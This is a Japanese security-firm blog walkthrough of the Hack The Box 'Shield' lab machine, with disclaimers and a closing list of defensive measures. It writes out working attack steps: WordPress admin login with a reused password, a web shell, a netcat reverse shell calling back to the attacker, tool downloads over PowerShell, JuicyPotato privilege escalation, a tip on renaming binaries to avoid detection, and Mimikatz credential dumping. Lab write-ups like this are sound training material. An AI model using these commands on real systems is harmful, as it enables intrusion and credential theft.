コラムColumn

導入事例Case Study

サイバーニュースCyber News

海外のサイバーセキュリティ関連のニュースを日本語でご紹介しています。

お知らせNews

【Hack The Box入門】Shield 攻略ガイド(Starting Point)

はじめに

前回の「Vaccine」攻略に続き、今回は Hack The Box(HTB)の「Shield」ボックスを解説します。
Starting Point シリーズは難易度が Very Easy(非常に簡単)に分類された9台のマシンで構成され、順番に攻略していく設計です。したがって、この Shield を攻略する前に Vaccine を完了していることが前提になります。

免責事項:
本記事は Hack The Box の演習環境を題材にした学習用解説です。
記載された手法・コマンドは教育目的のみに利用し、実在のシステム・ネットワークで実施しないでください。
記事内の user.txt / root.txt などの機密情報は一切掲載していません。

00. マシンの起動

まずは「Join Machine」をクリックしてマシンを起動します。

起動後、対象マシンのIPアドレスが表示されます。

VPN 接続とマシンへの到達性を確認するために ping を行います。ファイアウォールにより ICMP が無効化される場合もありますが、通常は応答が返ります。

TTL が 127 であることから、このマシンは Windows 系であると判断できます。

01. 列挙(Enumeration)

01.1 ポートスキャン(全ポート)

まず Nmap で全ポートをスキャンして、開放ポートを確認します。

nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.10.29

オプションの意味:

  • -n:DNS 解決を行わない
  • -vv:詳細出力
  • --open:開いているポートのみ出力
  • -p-:フルポートスキャン
  • -T4:高速スキャン

出力を見ると、開いているポートは非常に少なく見えます。

01.2 Nmap スクリプトエンジンの実行

開放された主要ポートに対して Nmap スクリプトを実行し、バージョンやサービス情報を収集します。

nmap -sV -sC -oN DetailPorts.nmap -p 80,3306 10.10.10.29

ポート 80(HTTP)と 3306(MySQL)が開放されていることが分かります。まずは HTTP から調査を進めます。

01.3 HTTP の調査(ディレクトリ列挙)

Web ブラウザで http://10.10.10.29 にアクセスします。

見た目上は目立つディレクトリが少ないように見えます。次にディレクトリ列挙を行います。ここでは高速かつ扱いやすい ffuf を使用します。

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.29/FUZZ

列挙の結果、wordpress ディレクトリが見つかりました。ブラウザで http://10.10.10.29/wordpress に移動します。

WordPress サイトがホストされています。WordPress の調査には wpscan が有効です。まずはユーザー列挙を行います。

wpscan --url http://10.10.10.29/wordpress -e u

出力から、このサイトには admin というユーザーが存在することが分かりました。パスワード総当たり(brute force)を行う前に、これまでのマシンで入手した資格情報を試すのが効率的です。Vaccine で得たパスワードが使える可能性があります。

(参照)Vaccine で見つかったパスワード:P@s5w0rd!

そのため WordPress のログイン情報は次のとおりです。

admin : P@s5w0rd!

WordPress の管理画面は通常 /wp-admin にあります。http://10.10.10.29/wordpress/wp-admin にアクセスしてログインします。

管理者としてログインに成功しました。

02. Foothold(初期侵入)

WordPress の管理権限を使ってファイルアップロードやテーマ編集を行い、リモートシェルを得ることを目指します。対象は Windows ホストのため、Windows 用のペイロード(例:PHP ではなくバイナリやバッチ経由)が必要です。

ここでは簡易的に「PHP バックドア(bind)」と nc.exe(Windows 用 netcat)を組み合わせる手順を示します。実際の環境に合わせてファイル名やパスを調整してください。

まずファイル(例:simple-backdoor.phpnc.exe)を用意します。ダウンロードコマンド例は次のとおりです。

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/simple-backdoor.php
wget https://github.com/int0x33/nc.exe/raw/master/nc.exe

管理画面の「テーマ」や「メディア」アップロード機能を使って、上記ファイルをアップロードします。アップロード時に一部エラーが出る場合がありますが、アップロードが成功していれば問題ありません。

アップロードしたバックドアにアクセスして動作確認します。例:

http://10.10.10.29/wordpress/wp-content/Uploads/simple-backdoor.php?cmd=dir

(アップロード先/ファイル名は環境により異なります)

次に、Netcat バイナリを使って reverse/bind でシェルを取得します。例として bind → 別プロセスで nc を実行する URL(URL エンコード済み)を叩くケースを示します。

http://10.10.10.29/wordpress/wp-content/Uploads/simple-backdoor.php?cmd=.\nc.exe%20-e%20cmd.exe%20<YourIP>%20<PORT>

実行後、Netcat リスナー側で接続を受け取り、リモートシェル(この事例では iusr 相当のユーザー)を取得できます。

サイト上に sandra というユーザーアカウントが存在することが確認できます。次は権限昇格のフェーズです。

03. Privilege Escalation(権限昇格)

まず取得したシェルからシステム情報と現在持っている権限を確認します。

出力から SeImpersonatePrivilege(Impersonate 権限)が有効になっていることが確認できます。これは Juicy Potato 等の手法で SYSTEM 権限に昇格する際に利用されることが多い権限です。

Juicy Potato の概要:Windows サービスのトークン取り扱いを利用して、サービスアカウントから SYSTEM への昇格を行うツールです。詳細は公式リポジトリをご参照ください。

※本稿で登場するツール(Juicy Potato、Mimikatzなど)は、脆弱性学習や防御検証を目的とした正当な環境でのみ使用してください。実在環境での利用は不正アクセス禁止法に抵触します。

JuicyPotato バイナリをダウンロードして、Windows 側にアップロードします。配布バイナリを potato.exe 等にリネームして転送・配置すると検出されにくい場合があります。

検証用サーバを用意してファイル転送を確認します。

python3 -m http.server 8000

Windows 端末から以下の PowerShell コマンドでダウンロードします。

Powershell -c "IWR -useBasicParsing http://<YourIP>:8000/potato.exe -o potato.exe"

JuicyPotato を実行するには実行バッチ(.bat)ファイルを作成し、起動時に、あらかじめ用意した Netcat 等を使ってコールバックを返すようにします。例:

echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe YourIP YourPort > sh3ll.bat

作成したバッチを確認します。

JuicyPotato 実行コマンド(例)は以下のようになります。CLSID 値は環境に合わせて変更してください。

.\potato.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -p C:\inetpub\wwwroot\wordpress\wp-content\Uploads\sh3ll.bat -l 1337

適切な CLSID とオプションを使って実行すると、SERVICE のコンテキストを利用して SYSTEM 権限が取得できます。その結果、最終的に NT AUTHORITY\SYSTEM 権限を得られます。

04. Post Exploitation(事後活動)

SYSTEM 権限を取得したら、機密情報(例えば資格情報キャッシュやサービスアカウントのパスワード)を回収するために Mimikatzの挙動を検証します。Mimikatz はログオンセッションやメモリ中の資格情報抽出に利用できます。

まず攻撃側で配布用 HTTP サーバを立ち上げ、Mimikatz バイナリをダウンロードして Windows に転送します。

wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210512/mimikatz_trunk.zip && unzip mimikatz_trunk.zip && cd x64 && python3 -m http.server

Windows からは PowerShell を使って取得します。

IWR -useBasicParsing http://<YourIP>:8000/mimikatz.exe -o mcat.exe

ダウンロード後、.\mcat 等で実行し、sekurlsa::logonpasswords を実行すると、ログオンパスワードやキャッシュされた資格情報が取得される仕組みを確認します。。

この実行例では、ドメインユーザー Sandra のパスワード Password1234! が回収できました。

まとめ(学びと注意点)

Shield ボックスの攻略で学べる主要なポイントは次の通りです。

  • WordPress 管理権限の奪取からのファイルアップロードを経た初期侵入手法
  • Windows 環境でのリモートシェル取得(バイナリ+バッチ利用)
  • SeImpersonatePrivilege を利用した Juicy Potato による権限昇格パターン
  • Mimikatz を用いた資格情報回収と横展開の可能性

これらは実環境では重大なリスクになるため、防御側としては次のような対策が重要です。

  1. WordPress 管理権限の保護(強力なパスワード、多要素認証)
  2. ファイルアップロード・テーマ/プラグインの検証(アップロード制限/MIME チェック)
  3. Windows の不要な特権(SeImpersonate 等)の最小化と監査設定
  4. エンドポイント上での EDR/プロセス監視、ネットワークでの不審なスクリプト通信の検出

Shield ボックスは、WordPress の弱点から始まり、Windows 権限昇格まで一連の流れを体験できる好教材です。
取得できる知識は実務に直結するため、防御側としても同様の経路を再現・検証しておくことが重要です。
今後も CyberCrew では、攻撃手法を通じて防御を強化するための解説を継続していきます。

参考:Hack The Box “Shield” Write-up (Starting Point), official forums / Juicy Potato GitHub project.

注意・免責:

  • 本記事は Hack The Box の演習環境に基づく教育用解説です。実在のシステムや第三者環境に対して同様の操作を行うことは法律に抵触します。
  • 記載されているツール(Juicy Potato、Mimikatz など)は防御技術学習を目的とした検証環境でのみ利用してください。
  • CyberCrew は、本記事の内容を用いた不正行為または損害について一切の責任を負いません。

投稿者プロフィール

ハリス ディルシャン
ハリス ディルシャン
Offensive Security Engineer | Red Team Specialist
レッドチーム演習やペネトレーションテスト、脅威モデリングを専門とするオフェンシブセキュリティエンジニアです。エンタープライズ環境やWeb・モバイルアプリ、API、クラウドサービスにおけるセキュリティ評価を多数実施し、CTFやマルウェア解析、アンチウイルス回避などにも精通しています。2020年にはCEH Master世界ランキングでトップ10入りを果たし、国際的に高い評価を得ています。
主な保有資格:
● OSCP(Offensive Security Certified Professional)
● CPENT(Certified Penetration Testing Professional)
● eCPPT(Certified Professional Penetration Tester)
● eMAPT(Mobile Application Penetration Tester)
● CRTS(Certified Red Team Specialist)
● CEH Master(認定エシカルハッカー)
● SOC-100(Security Operations Essentials)
● PEN-100(Network Penetration Testing Essentials)
● SLIIT – 情報技術学士(サイバーセキュリティ専攻)


Page Top